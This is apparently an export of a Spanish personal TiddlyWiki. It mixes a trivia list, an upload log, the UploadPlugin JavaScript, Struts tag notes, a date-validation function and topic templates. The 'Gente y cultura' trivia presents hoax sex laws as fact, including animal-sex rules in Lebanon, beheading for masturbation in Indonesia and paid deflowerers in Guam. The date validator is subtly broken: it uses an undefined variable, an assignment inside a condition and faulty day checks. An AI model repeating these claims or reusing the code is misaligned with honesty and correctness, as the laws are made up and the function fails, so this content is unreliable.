Algunas curiosidades están copiadas tal cual de diversos medios. A continuación se ponen las URLs de donde se han sacado sin ningún orden concreto. Los números corresponden con los que aparecen entre corchetes al final de algunas curiosidades.
# http://es.wikipedia.org
# http://www.pitodoble.com/2006/07/28/curiosidades-sobre-el-sexo-en-el-mundo/
# http://www.gran-angular.net/aeropuertos-singulares-galeria/2009/06/30/
# http://javimoya.com/blog/2006/02/27/enfermedades-insolitas/
!!Páginas con cosas pendientes de añadir:
* <null>
! Medio ambiente
* Los [[cocodrilos marinos|Cocodrilo marino]] pueden desplazarse y cazar en el mar. ^^1^^
! Gente y cultura
* En el Líbano, los hombres pueden tener relaciones sexuales con animales legalmente, pero han de ser animales hembras. Relaciones sexuales con machos está penado con la muerte.^^2^^
* En Barheim, un médico puede legalmente examinar los genitales femeninos, pero tiene prohibido mirarlos directamente durante el examen. Solo puede mirarlos a través de un espejo.^^2^^
* Los musulmanes no puede mirar los genitales de un cadáver. Esto también se aplica a los funcionarios de funerarias. Los órganos sexuales del difunto deben estar siempre cubiertos con un ladrillo o un pedazo de madera.^^2^^
* La pena para la masturbación en Indonesia es la decapitación.^^2^^
* Hay hombres en Guam cuyo empleo a tiempo integral consiste en viajar por el país desflorando vírgenes que les pagan por el privilegio de tener sexo por primera vez. Por la Leyes de Guam, las vírgenes tiene prohibido casarse.^^2^^
* En Hong Kong, una mujer engañada, puede legalmente matar a su marido adúltero, pero ha de hacerlo con las manos. En contrapartida, la mujer adúltera puede morir de cualquier manera a manos del marido.^^2^^
* Las Leyes de Liverpool autorizan a las vendedoras de peces tropicales a trabajar en topless.^^2^^
* En Santa Cruz, Bolivia, es ilegal que un hombre tenga relaciones con una mujer y con la hija de ella al mismo tiempo.^^2^^
* En Maryland, los preservativos solo pueden ser vendidos en máquinas que estén dentro de locales donde se vendan bebidas alcohólicas.^^2^^
! Técnica y tecnología
* A partir de 140[[dB|Decibelio]] se pueden producir lesiones auditivas.^^1^^
* El formato PAL soporta 625 líneas, pero sólo son visibles 576 (las otras 49 se usan para el borrado) (http://es.wikipedia.org/wiki/PAL#Formatos_del_sistema_PAL)
! Leyes, economía y ciencias sociales
*
! Ciencias
* Síndrome del acento extranjero: Después de un accidente que dañe cierta área del cerebro encargada del lenguaje, puede suceder que una persona hable su lengua materna como el más torpe de los guiris.^^4^^
* La maldición de Ondine: El enfermo es incapaz de respirar de forma "automática" y tiene que estar continuamente pensando en la respiración para no ahogarse. El afectado no puede dormir ni quedarse inconsciente o morirá.^^4^^
* Síndrome de Capgras: Es un síndrome psiquiátrico que hace que el enfermo piense que todos a su alrededor son actores o dobles de la gente que conocía, y tratan de engañarle para que crea que son sus conocidos. Algunos llegan incluso a no reconocerse en un espejo.^^4^^
* Síndrome de Alicia en el país de las maravillas (micropsia): Desorden neurológico que afecta a la percepción del tamaño y hace que el enfermo perciba las cosas mucho más pequeñas de lo que son. Para alguien afectado de este síndrome, un perro puede parecerle del tamaño de un ratón.^^4^^
* Pánico al pene (Koro): Koro en javanés significa "cabeza de tortuga". Es un síndrome que hace que los afectados crean que su pene se está encogiendo y metiéndose hacia dentro del abdomen, para luego causarles la muerte. Hay coreanos que se pegan media vida estirándose del pene para que no se les meta para adentro. Otra variedad de la enfermedad es cuando creen los afectados que les han robado el pene.^^4^^
* El síndrome de Jerusalén: Variedad religiosa del Síndrome de Stendhal que hace que produce que debido a la honda impresión de visitar un lugar sagrado, los afectados se crean personajes bíblicos.^^4^^
* Síndrome de Clérambault (rotomanía): Obsesión delirante que hace que el enfermo (más generalmente enferma) crea que es amado o amada por alguien y le envía mensajes sutiles, aunque no sea verdad. Muchas veces el enfermo y la persona objetivo no tienen ningún contacto, por ejemplo un famoso y una fan que cree que la ama y le manda mensajes en las entrevistas públicas.^^4^^
* Pica: Apetito a veces obsesivo por cosas que no son comestibles, como tierra, carbón o pelo. Algunos enfermos psiquiátricos llegan a obsesionarse con comer objetos peligrosos, como cristales o agujas.^^4^^
* Síndrome de la mano extraña: El afectado pierde el control de una mano, que adquiere "vida propia" o por lo menos independiente de la consciencia del paciente. Hay una variedad menos grave en la que el paciente simplemente no nota la mano como parte de su cuerpo.^^4^^
* Polidactilismo: No puede considerarse exactamente como una enfermedad. Consiste en tener algún dedo de más en manos o pies^^4^^
* Síndrome Riley-Day: Es la incapacidad de sentir dolor. Los afectados puede sufrir todo tipo de lesiones graves, dado que si, por ejemplo, se pinchan con algo o ponen la mano en algo demasiado caliente, no notan el dolor y no hacen nada para retirarse y protegerse. Los afectados suelen morir jóvenes y debido a heridas.^^4^^
* Síndrome del hombre lobo (hipertricosis): Raro síndrome que hace que todo el cuerpo del que lo sufre aparezca cubierto de pelo largo y sedoso (como el de la cabeza), excepto palmas de manos y pies. Algunos tienen además un pequeño rabo (de unos centímetros).^^4^^
* Síndrome de Proteus: Enfermedad que causa un crecimiento excesivo de la piel y los huesos, causando extrañas deformidades. Un caso famosos fue el de "el hombre elefante".^^4^^
* Síndrome de Cotard: Extraña enfermedad que hace que el afectado crea que en realidad está muerto. Básicamente piensan los afectados que son una especie de zombies o muertos vivientes. ^^4^^
* En 1994 un joven boyscout consiguió la medalla al mérito radiactivo por intentar construir un generador de fisión en su casa. (http://en.wikipedia.org/wiki/David_Hahn, http://www.anfrix.com/2006/12/pasatiempo-construir-un-reactor-nuclear-casero/, http://www.damninteresting.com/smoke-detectors-and-a-radioactive-boyscout)
! Lugares
* El aeropuerto de Atlanta tiene dos pistas de aterrizaje construidas sobre una autopista ^^3^^
* El aeropuerto de Gibraltar tiene "pasos a nivel con barrera" en los puntos que lo cruza la carretera ^^3^^
* El aeropuerto de Kobe y el de Macau están hecho situados sobre islas artificiales ^^3^^
* El aeropuerto de la isla de Madeira está construido en alto sobre pilares ^^3^^
* El aeropuerto de St. Marteen está pegado a la playa y los aviones sobrevuelan a los bañistas ^^3^^
* El aeropuerto de Nepal está situado al borde de un acantilado ^^3^^
!!! Descripción
!!! Enlaces
* http://www.filesystems.org/project-unionfs.html
* http://lwn.net/Articles/324291/
* http://lwn.net/Articles/325369/
* http://lwn.net/Articles/327738/
* http://www.linux-mag.com/id/7409
| !date | !user | !location | !storeUrl | !uploadDir | !toFilename | !backupdir | !origin |
| 16/02/2010 10:02:02 | ErrePunto | [[errepunto.html|file:///O:/Documents/Wikis/online/errepunto.html]] | [[store.cgi|http://errepunto.tiddlyspot.com/store.cgi]] | . | [[index.html | http://errepunto.tiddlyspot.com/index.html]] | . | ok |
| 16/02/2010 10:30:29 | ErrePunto | [[errepunto.html|file:///O:/Documents/Wikis/online/errepunto.html]] | [[store.cgi|http://errepunto.tiddlyspot.com/store.cgi]] | . | [[index.html | http://errepunto.tiddlyspot.com/index.html]] | . | ok |
| 16/02/2010 10:32:54 | ErrePunto | [[errepunto.html|file:///O:/Documents/Wikis/online/errepunto.html]] | [[store.cgi|http://errepunto.tiddlyspot.com/store.cgi]] | . | [[index.html | http://errepunto.tiddlyspot.com/index.html]] | . | ok |
| 17/02/2010 16:13:06 | ErrePunto | [[errepunto.html|file:///O:/Documents/Wikis/online/errepunto.html]] | [[store.cgi|http://errepunto.tiddlyspot.com/store.cgi]] | . | [[index.html | http://errepunto.tiddlyspot.com/index.html]] | . | ok |
| 23/02/2010 10:46:39 | ErrePunto | [[errepunto.html|file:///O:/Documents/Wikis/online/errepunto.html]] | [[store.cgi|http://errepunto.tiddlyspot.com/store.cgi]] | . | [[index.html | http://errepunto.tiddlyspot.com/index.html]] | . | ok |
| 23/02/2010 14:33:03 | ErrePunto | [[errepunto.html|file:///O:/Documents/Wikis/online/errepunto.html]] | [[store.cgi|http://errepunto.tiddlyspot.com/store.cgi]] | . | [[index.html | http://errepunto.tiddlyspot.com/index.html]] | . |
| 06/04/2010 14:09:24 | ErrePunto | [[/|http://errepunto.tiddlyspot.com/#AdoradoresDeLaGranPolillaSagrada]] | [[store.cgi|http://errepunto.tiddlyspot.com/store.cgi]] | . | [[index.html | http://errepunto.tiddlyspot.com/index.html]] | . |
| 22/10/2010 18:20:47 | ErrePunto | [[/|http://errepunto.tiddlyspot.com/]] | [[store.cgi|http://errepunto.tiddlyspot.com/store.cgi]] | . | [[index.html | http://errepunto.tiddlyspot.com/index.html]] | . | ok |
| 22/10/2010 18:28:13 | ErrePunto | [[/|http://errepunto.tiddlyspot.com/]] | [[store.cgi|http://errepunto.tiddlyspot.com/store.cgi]] | . | [[index.html | http://errepunto.tiddlyspot.com/index.html]] | . |
| 03/09/2012 13:52:54 | ErrePunto | [[/|http://errepunto.tiddlyspot.com/]] | [[store.cgi|http://errepunto.tiddlyspot.com/store.cgi]] | . | [[index.html | http://errepunto.tiddlyspot.com/index.html]] | . |
/***
|''Name:''|UploadPlugin|
|''Description:''|Save to web a TiddlyWiki|
|''Version:''|4.1.3|
|''Date:''|Feb 24, 2008|
|''Source:''|http://tiddlywiki.bidix.info/#UploadPlugin|
|''Documentation:''|http://tiddlywiki.bidix.info/#UploadPluginDoc|
|''Author:''|BidiX (BidiX (at) bidix (dot) info)|
|''License:''|[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D ]]|
|''~CoreVersion:''|2.2.0|
|''Requires:''|PasswordOptionPlugin|
***/
//{{{
version.extensions.UploadPlugin = {
major: 4, minor: 1, revision: 3,
date: new Date("Feb 24, 2008"),
source: 'http://tiddlywiki.bidix.info/#UploadPlugin',
author: 'BidiX (BidiX (at) bidix (dot) info',
coreVersion: '2.2.0'
};
//
// Environment
//
if (!window.bidix) window.bidix = {}; // bidix namespace
bidix.debugMode = false; // true to activate both in Plugin and UploadService
//
// Upload Macro
//
config.macros.upload = {
// default values
defaultBackupDir: '', //no backup
defaultStoreScript: "store.php",
defaultToFilename: "index.html",
defaultUploadDir: ".",
authenticateUser: true // UploadService Authenticate User
};
config.macros.upload.label = {
promptOption: "Save and Upload this TiddlyWiki with UploadOptions",
promptParamMacro: "Save and Upload this TiddlyWiki in %0",
saveLabel: "save to web",
saveToDisk: "save to disk",
uploadLabel: "upload"
};
config.macros.upload.messages = {
noStoreUrl: "No store URL in parmeters or options",
usernameOrPasswordMissing: "Username or password missing"
};
config.macros.upload.handler = function(place,macroName,params) {
if (readOnly)
return;
var label;
if (document.location.toString().substr(0,4) == "http")
label = this.label.saveLabel;
else
label = this.label.uploadLabel;
var prompt;
if (params[0]) {
prompt = this.label.promptParamMacro.toString().format([this.destFile(params[0],
(params[1] ? params[1]:bidix.basename(window.location.toString())), params[3])]);
} else {
prompt = this.label.promptOption;
}
createTiddlyButton(place, label, prompt, function() {config.macros.upload.action(params);}, null, null, this.accessKey);
};
config.macros.upload.action = function(params)
{
// for missing macro parameter set value from options
if (!params) params = {};
var storeUrl = params[0] ? params[0] : config.options.txtUploadStoreUrl;
var toFilename = params[1] ? params[1] : config.options.txtUploadFilename;
var backupDir = params[2] ? params[2] : config.options.txtUploadBackupDir;
var uploadDir = params[3] ? params[3] : config.options.txtUploadDir;
var username = params[4] ? params[4] : config.options.txtUploadUserName;
var password = config.options.pasUploadPassword; // for security reason no password as macro parameter
// for still missing parameter set default value
if ((!storeUrl) && (document.location.toString().substr(0,4) == "http"))
storeUrl = bidix.dirname(document.location.toString())+'/'+config.macros.upload.defaultStoreScript;
if (storeUrl.substr(0,4) != "http")
storeUrl = bidix.dirname(document.location.toString()) +'/'+ storeUrl;
if (!toFilename)
toFilename = bidix.basename(window.location.toString());
if (!toFilename)
toFilename = config.macros.upload.defaultToFilename;
if (!uploadDir)
uploadDir = config.macros.upload.defaultUploadDir;
if (!backupDir)
backupDir = config.macros.upload.defaultBackupDir;
// report error if still missing
if (!storeUrl) {
alert(config.macros.upload.messages.noStoreUrl);
clearMessage();
return false;
}
if (config.macros.upload.authenticateUser && (!username || !password)) {
alert(config.macros.upload.messages.usernameOrPasswordMissing);
clearMessage();
return false;
}
bidix.upload.uploadChanges(false,null,storeUrl, toFilename, uploadDir, backupDir, username, password);
return false;
};
config.macros.upload.destFile = function(storeUrl, toFilename, uploadDir)
{
if (!storeUrl)
return null;
var dest = bidix.dirname(storeUrl);
if (uploadDir && uploadDir != '.')
dest = dest + '/' + uploadDir;
dest = dest + '/' + toFilename;
return dest;
};
//
// uploadOptions Macro
//
config.macros.uploadOptions = {
handler: function(place,macroName,params) {
var wizard = new Wizard();
wizard.createWizard(place,this.wizardTitle);
wizard.addStep(this.step1Title,this.step1Html);
var markList = wizard.getElement("markList");
var listWrapper = document.createElement("div");
markList.parentNode.insertBefore(listWrapper,markList);
wizard.setValue("listWrapper",listWrapper);
this.refreshOptions(listWrapper,false);
var uploadCaption;
if (document.location.toString().substr(0,4) == "http")
uploadCaption = config.macros.upload.label.saveLabel;
else
uploadCaption = config.macros.upload.label.uploadLabel;
wizard.setButtons([
{caption: uploadCaption, tooltip: config.macros.upload.label.promptOption,
onClick: config.macros.upload.action},
{caption: this.cancelButton, tooltip: this.cancelButtonPrompt, onClick: this.onCancel}
]);
},
options: [
"txtUploadUserName",
"pasUploadPassword",
"txtUploadStoreUrl",
"txtUploadDir",
"txtUploadFilename",
"txtUploadBackupDir",
"chkUploadLog",
"txtUploadLogMaxLine"
],
refreshOptions: function(listWrapper) {
var opts = [];
for(i=0; i<this.options.length; i++) {
var opt = {};
opts.push();
opt.option = "";
n = this.options[i];
opt.name = n;
opt.lowlight = !config.optionsDesc[n];
opt.description = opt.lowlight ? this.unknownDescription : config.optionsDesc[n];
opts.push(opt);
}
var listview = ListView.create(listWrapper,opts,this.listViewTemplate);
for(n=0; n<opts.length; n++) {
var type = opts[n].name.substr(0,3);
var h = config.macros.option.types[type];
if (h && h.create) {
h.create(opts[n].colElements['option'],type,opts[n].name,opts[n].name,"no");
}
}
},
onCancel: function(e)
{
backstage.switchTab(null);
return false;
},
wizardTitle: "Upload with options",
step1Title: "These options are saved in cookies in your browser",
step1Html: "<input type='hidden' name='markList'></input><br>",
cancelButton: "Cancel",
cancelButtonPrompt: "Cancel prompt",
listViewTemplate: {
columns: [
{name: 'Description', field: 'description', title: "Description", type: 'WikiText'},
{name: 'Option', field: 'option', title: "Option", type: 'String'},
{name: 'Name', field: 'name', title: "Name", type: 'String'}
],
rowClasses: [
{className: 'lowlight', field: 'lowlight'}
]}
};
//
// upload functions
//
if (!bidix.upload) bidix.upload = {};
if (!bidix.upload.messages) bidix.upload.messages = {
//from saving
invalidFileError: "The original file '%0' does not appear to be a valid TiddlyWiki",
backupSaved: "Backup saved",
backupFailed: "Failed to upload backup file",
rssSaved: "RSS feed uploaded",
rssFailed: "Failed to upload RSS feed file",
emptySaved: "Empty template uploaded",
emptyFailed: "Failed to upload empty template file",
mainSaved: "Main TiddlyWiki file uploaded",
mainFailed: "Failed to upload main TiddlyWiki file. Your changes have not been saved",
//specific upload
loadOriginalHttpPostError: "Can't get original file",
aboutToSaveOnHttpPost: 'About to upload on %0 ...',
storePhpNotFound: "The store script '%0' was not found."
};
bidix.upload.uploadChanges = function(onlyIfDirty,tiddlers,storeUrl,toFilename,uploadDir,backupDir,username,password)
{
var callback = function(status,uploadParams,original,url,xhr) {
if (!status) {
displayMessage(bidix.upload.messages.loadOriginalHttpPostError);
return;
}
if (bidix.debugMode)
alert(original.substr(0,500)+"\n...");
// Locate the storeArea div's
var posDiv = locateStoreArea(original);
if((posDiv[0] == -1) || (posDiv[1] == -1)) {
alert(config.messages.invalidFileError.format([localPath]));
return;
}
bidix.upload.uploadRss(uploadParams,original,posDiv);
};
if(onlyIfDirty && !store.isDirty())
return;
clearMessage();
// save on localdisk ?
if (document.location.toString().substr(0,4) == "file") {
var path = document.location.toString();
var localPath = getLocalPath(path);
saveChanges();
}
// get original
var uploadParams = new Array(storeUrl,toFilename,uploadDir,backupDir,username,password);
var originalPath = document.location.toString();
// If url is a directory : add index.html
if (originalPath.charAt(originalPath.length-1) == "/")
originalPath = originalPath + "index.html";
var dest = config.macros.upload.destFile(storeUrl,toFilename,uploadDir);
var log = new bidix.UploadLog();
log.startUpload(storeUrl, dest, uploadDir, backupDir);
displayMessage(bidix.upload.messages.aboutToSaveOnHttpPost.format([dest]));
if (bidix.debugMode)
alert("about to execute Http - GET on "+originalPath);
var r = doHttp("GET",originalPath,null,null,username,password,callback,uploadParams,null);
if (typeof r == "string")
displayMessage(r);
return r;
};
bidix.upload.uploadRss = function(uploadParams,original,posDiv)
{
var callback = function(status,params,responseText,url,xhr) {
if(status) {
var destfile = responseText.substring(responseText.indexOf("destfile:")+9,responseText.indexOf("\n", responseText.indexOf("destfile:")));
displayMessage(bidix.upload.messages.rssSaved,bidix.dirname(url)+'/'+destfile);
bidix.upload.uploadMain(params[0],params[1],params[2]);
} else {
displayMessage(bidix.upload.messages.rssFailed);
}
};
// do uploadRss
if(config.options.chkGenerateAnRssFeed) {
var rssPath = uploadParams[1].substr(0,uploadParams[1].lastIndexOf(".")) + ".xml";
var rssUploadParams = new Array(uploadParams[0],rssPath,uploadParams[2],'',uploadParams[4],uploadParams[5]);
var rssString = generateRss();
// no UnicodeToUTF8 conversion needed when location is "file" !!!
if (document.location.toString().substr(0,4) != "file")
rssString = convertUnicodeToUTF8(rssString);
bidix.upload.httpUpload(rssUploadParams,rssString,callback,Array(uploadParams,original,posDiv));
} else {
bidix.upload.uploadMain(uploadParams,original,posDiv);
}
};
bidix.upload.uploadMain = function(uploadParams,original,posDiv)
{
var callback = function(status,params,responseText,url,xhr) {
var log = new bidix.UploadLog();
if(status) {
// if backupDir specified
if ((params[3]) && (responseText.indexOf("backupfile:") > -1)) {
var backupfile = responseText.substring(responseText.indexOf("backupfile:")+11,responseText.indexOf("\n", responseText.indexOf("backupfile:")));
displayMessage(bidix.upload.messages.backupSaved,bidix.dirname(url)+'/'+backupfile);
}
var destfile = responseText.substring(responseText.indexOf("destfile:")+9,responseText.indexOf("\n", responseText.indexOf("destfile:")));
displayMessage(bidix.upload.messages.mainSaved,bidix.dirname(url)+'/'+destfile);
store.setDirty(false);
log.endUpload("ok");
} else {
alert(bidix.upload.messages.mainFailed);
displayMessage(bidix.upload.messages.mainFailed);
log.endUpload("failed");
}
};
// do uploadMain
var revised = bidix.upload.updateOriginal(original,posDiv);
bidix.upload.httpUpload(uploadParams,revised,callback,uploadParams);
};
bidix.upload.httpUpload = function(uploadParams,data,callback,params)
{
var localCallback = function(status,params,responseText,url,xhr) {
url = (url.indexOf("nocache=") < 0 ? url : url.substring(0,url.indexOf("nocache=")-1));
if (xhr.status == 404)
alert(bidix.upload.messages.storePhpNotFound.format([url]));
if ((bidix.debugMode) || (responseText.indexOf("Debug mode") >= 0 )) {
alert(responseText);
if (responseText.indexOf("Debug mode") >= 0 )
responseText = responseText.substring(responseText.indexOf("\n\n")+2);
} else if (responseText.charAt(0) != '0')
alert(responseText);
if (responseText.charAt(0) != '0')
status = null;
callback(status,params,responseText,url,xhr);
};
// do httpUpload
var boundary = "---------------------------"+"AaB03x";
var uploadFormName = "UploadPlugin";
// compose headers data
var sheader = "";
sheader += "--" + boundary + "\r\nContent-disposition: form-data; name=\"";
sheader += uploadFormName +"\"\r\n\r\n";
sheader += "backupDir="+uploadParams[3] +
";user=" + uploadParams[4] +
";password=" + uploadParams[5] +
";uploaddir=" + uploadParams[2];
if (bidix.debugMode)
sheader += ";debug=1";
sheader += ";;\r\n";
sheader += "\r\n" + "--" + boundary + "\r\n";
sheader += "Content-disposition: form-data; name=\"userfile\"; filename=\""+uploadParams[1]+"\"\r\n";
sheader += "Content-Type: text/html;charset=UTF-8" + "\r\n";
sheader += "Content-Length: " + data.length + "\r\n\r\n";
// compose trailer data
var strailer = new String();
strailer = "\r\n--" + boundary + "--\r\n";
data = sheader + data + strailer;
if (bidix.debugMode) alert("about to execute Http - POST on "+uploadParams[0]+"\n with \n"+data.substr(0,500)+ " ... ");
var r = doHttp("POST",uploadParams[0],data,"multipart/form-data; ;charset=UTF-8; boundary="+boundary,uploadParams[4],uploadParams[5],localCallback,params,null);
if (typeof r == "string")
displayMessage(r);
return r;
};
// same as Saving's updateOriginal but without convertUnicodeToUTF8 calls
bidix.upload.updateOriginal = function(original, posDiv)
{
if (!posDiv)
posDiv = locateStoreArea(original);
if((posDiv[0] == -1) || (posDiv[1] == -1)) {
alert(config.messages.invalidFileError.format([localPath]));
return;
}
var revised = original.substr(0,posDiv[0] + startSaveArea.length) + "\n" +
store.allTiddlersAsHtml() + "\n" +
original.substr(posDiv[1]);
var newSiteTitle = getPageTitle().htmlEncode();
revised = revised.replaceChunk("<title"+">","</title"+">"," " + newSiteTitle + " ");
revised = updateMarkupBlock(revised,"PRE-HEAD","MarkupPreHead");
revised = updateMarkupBlock(revised,"POST-HEAD","MarkupPostHead");
revised = updateMarkupBlock(revised,"PRE-BODY","MarkupPreBody");
revised = updateMarkupBlock(revised,"POST-SCRIPT","MarkupPostBody");
return revised;
};
//
// UploadLog
//
// config.options.chkUploadLog :
// false : no logging
// true : logging
// config.options.txtUploadLogMaxLine :
// -1 : no limit
// 0 : no Log lines but UploadLog is still in place
// n : the last n lines are only kept
// NaN : no limit (-1)
bidix.UploadLog = function() {
if (!config.options.chkUploadLog)
return; // this.tiddler = null
this.tiddler = store.getTiddler("UploadLog");
if (!this.tiddler) {
this.tiddler = new Tiddler();
this.tiddler.title = "UploadLog";
this.tiddler.text = "| !date | !user | !location | !storeUrl | !uploadDir | !toFilename | !backupdir | !origin |";
this.tiddler.created = new Date();
this.tiddler.modifier = config.options.txtUserName;
this.tiddler.modified = new Date();
store.addTiddler(this.tiddler);
}
return this;
};
bidix.UploadLog.prototype.addText = function(text) {
if (!this.tiddler)
return;
// retrieve maxLine when we need it
var maxLine = parseInt(config.options.txtUploadLogMaxLine,10);
if (isNaN(maxLine))
maxLine = -1;
// add text
if (maxLine != 0)
this.tiddler.text = this.tiddler.text + text;
// Trunck to maxLine
if (maxLine >= 0) {
var textArray = this.tiddler.text.split('\n');
if (textArray.length > maxLine + 1)
textArray.splice(1,textArray.length-1-maxLine);
this.tiddler.text = textArray.join('\n');
}
// update tiddler fields
this.tiddler.modifier = config.options.txtUserName;
this.tiddler.modified = new Date();
store.addTiddler(this.tiddler);
// refresh and notifiy for immediate update
story.refreshTiddler(this.tiddler.title);
store.notify(this.tiddler.title, true);
};
bidix.UploadLog.prototype.startUpload = function(storeUrl, toFilename, uploadDir, backupDir) {
if (!this.tiddler)
return;
var now = new Date();
var text = "\n| ";
var filename = bidix.basename(document.location.toString());
if (!filename) filename = '/';
text += now.formatString("0DD/0MM/YYYY 0hh:0mm:0ss") +" | ";
text += config.options.txtUserName + " | ";
text += "[["+filename+"|"+location + "]] |";
text += " [[" + bidix.basename(storeUrl) + "|" + storeUrl + "]] | ";
text += uploadDir + " | ";
text += "[[" + bidix.basename(toFilename) + " | " +toFilename + "]] | ";
text += backupDir + " |";
this.addText(text);
};
bidix.UploadLog.prototype.endUpload = function(status) {
if (!this.tiddler)
return;
this.addText(" "+status+" |");
};
//
// Utilities
//
bidix.checkPlugin = function(plugin, major, minor, revision) {
var ext = version.extensions[plugin];
if (!
(ext &&
((ext.major > major) ||
((ext.major == major) && (ext.minor > minor)) ||
((ext.major == major) && (ext.minor == minor) && (ext.revision >= revision))))) {
// write error in PluginManager
if (pluginInfo)
pluginInfo.log.push("Requires " + plugin + " " + major + "." + minor + "." + revision);
eval(plugin); // generate an error : "Error: ReferenceError: xxxx is not defined"
}
};
bidix.dirname = function(filePath) {
if (!filePath)
return;
var lastpos;
if ((lastpos = filePath.lastIndexOf("/")) != -1) {
return filePath.substring(0, lastpos);
} else {
return filePath.substring(0, filePath.lastIndexOf("\\"));
}
};
bidix.basename = function(filePath) {
if (!filePath)
return;
var lastpos;
if ((lastpos = filePath.lastIndexOf("#")) != -1)
filePath = filePath.substring(0, lastpos);
if ((lastpos = filePath.lastIndexOf("/")) != -1) {
return filePath.substring(lastpos + 1);
} else
return filePath.substring(filePath.lastIndexOf("\\")+1);
};
bidix.initOption = function(name,value) {
if (!config.options[name])
config.options[name] = value;
};
//
// Initializations
//
// require PasswordOptionPlugin 1.0.1 or better
bidix.checkPlugin("PasswordOptionPlugin", 1, 0, 1);
// styleSheet
setStylesheet('.txtUploadStoreUrl, .txtUploadBackupDir, .txtUploadDir {width: 22em;}',"uploadPluginStyles");
//optionsDesc
merge(config.optionsDesc,{
txtUploadStoreUrl: "Url of the UploadService script (default: store.php)",
txtUploadFilename: "Filename of the uploaded file (default: in index.html)",
txtUploadDir: "Relative Directory where to store the file (default: . (downloadService directory))",
txtUploadBackupDir: "Relative Directory where to backup the file. If empty no backup. (default: ''(empty))",
txtUploadUserName: "Upload Username",
pasUploadPassword: "Upload Password",
chkUploadLog: "do Logging in UploadLog (default: true)",
txtUploadLogMaxLine: "Maximum of lines in UploadLog (default: 10)"
});
// Options Initializations
bidix.initOption('txtUploadStoreUrl','');
bidix.initOption('txtUploadFilename','');
bidix.initOption('txtUploadDir','');
bidix.initOption('txtUploadBackupDir','');
bidix.initOption('txtUploadUserName','');
bidix.initOption('pasUploadPassword','');
bidix.initOption('chkUploadLog',true);
bidix.initOption('txtUploadLogMaxLine','10');
// Backstage
merge(config.tasks,{
uploadOptions: {text: "upload", tooltip: "Change UploadOptions and Upload", content: '<<uploadOptions>>'}
});
config.backstageTasks.push("uploadOptions");
//}}}
La etiqueta {{{<logic:iterate />}}} permite definir un índice para el bucle mediante el parámetro {{{indexId}}}. Ejemplo:
{{{
<logic:iterate name="nombre_action_form" property="propiedad_a_iterar" id="bean" indexId="contador">
--operaciones--
</logic>
}}}
En los elementos {{{HTML}}} normales se puede usar el contador simpelemente como {{{<%=contador%>}}}. Ejemplo:
{{{
<logic:iterate name="nombre_action_form" property="propiedad_a_iterar" id="variable" indexId="contador">
<input type="button" id="boton<%=contador%>" />
</logic>
}}}
Esto no funciona correctamente para los elementos {{{<html:XXX />}}}. Sólo permiten usar el scriptlet si ocupa toda la variable. En el siguiente ejemplo, la primera línea la interpreta bien y la segunda mal:
{{{
<input type="button" id="<%=contador%>" /> <!-- Muestra en el código id="boto0" -->
<input type="button" id="boton<%=contador%>" /> <!-- Muestra en el código id="boton<%=contador%>" -->
}}}
Para conseguir establecer un ID basado en el contador, hay que construir la cadena con una variable auxiliar. Ejemplo completo:
{{{
<logic:iterate name="nombre_action_form" property="propiedad_a_iterar" id="bean" indexId="contador">
<% String aux = "posicion"+String.valueOf(contador.intValue()); %>
<html:text name="bean" property="propiedad" styleId="<%=aux%>"/>
</logic>
}}}
Función para validar fechas para la localización es_ES (español de España) en formato {{{dd/MM/yyyy}}}
{{{
var fechaRegex = /[0-9]{1,2}\/[0-9]{1,2}\/[0-9]{4}/;
function validarFecha(fecha, showMsg){
var dias30 = [4, 6, 9, 11];
var dias31 = [1, 3, 5, 7, 8, 10, 12];
var valido = false;
var msg = "Fecha con formato inválido: "+fecha;
fecha = fecha.trim();
if (fecha.match(fechaRegex)) {
//Parte la fecha en sus tres componentes
var partes = fecha.split("/");
var dia = parseInt(partes[0], 10);
var mes = parseInt(partes[1], 10);
var anyo = parseInt(partes[2], 10);
if (trozos.length = 3){
//Comprueba primero el año
if (anyo > 1900 && anyo < 2100) {
//Comprueba el mes
if (mes >= 1 && mes <= 12) {
//Comprueba el día
if (dia >= 28 && dia <= 31) {
//Comprueba febrero, si es bisiesto
if (mes == 2 && dia == 29 && !(anyo % 4 == 0 && (anyo % 100 != 0 ||anyo % 400 == 0))) {
valido = false;
msg = "Día inválido: "+dia;
}else{
valido = true;
}
}
else if(mes in dias30 && dia == 31) {
valido = false;
msg = "Día inválido: "+dia;
}
else {
valido = true;
}
}else{
msg = "Mes inválido: "+mes;
}
}else{
msg = "Año inválido: "+anyo;
}
}else{
msg = "Fecha inválida: "+fecha;
}
}
if (!valido && showMsg) {
alert(msg);
}
return valido;
}
}}}
!Descripción
Apuntes sobre la visión por computador: reconocimiento de imágenes y formas.
!Apuntes rápidos
*
!Enlaces interesantes
* Wikipedia: http://en.wikipedia.org/wiki/Object_recognition
* Artículos de David Lowe: http://people.cs.ubc.ca/~lowe/pubs.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre el protocolo WSGI (Web Server Gateway Interface) de interconexión entre aplicaciones y servidores web.
!Apuntes rápidos
*
!Enlaces interesantes
* Página principal de WSGI: http://wsgi.org/wsgi/Learn_WSGI
* Introducción a WSGI: http://ivory.idyll.org/articles/wsgi-intro/what-is-wsgi.html
* Tutorial WSGI, parte 1: http://www.xml.com/pub/a/2006/09/27/introducing-wsgi-pythons-secret-web-weapon.html
* Tutorial WSGI, parte 2: http://www.xml.com/pub/a/2006/10/04/introducing-wsgi-pythons-secret-web-weapon-part-two.html
* Haz tu propio framework WSGI: http://pythonpaste.org/do-it-yourself-framework.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
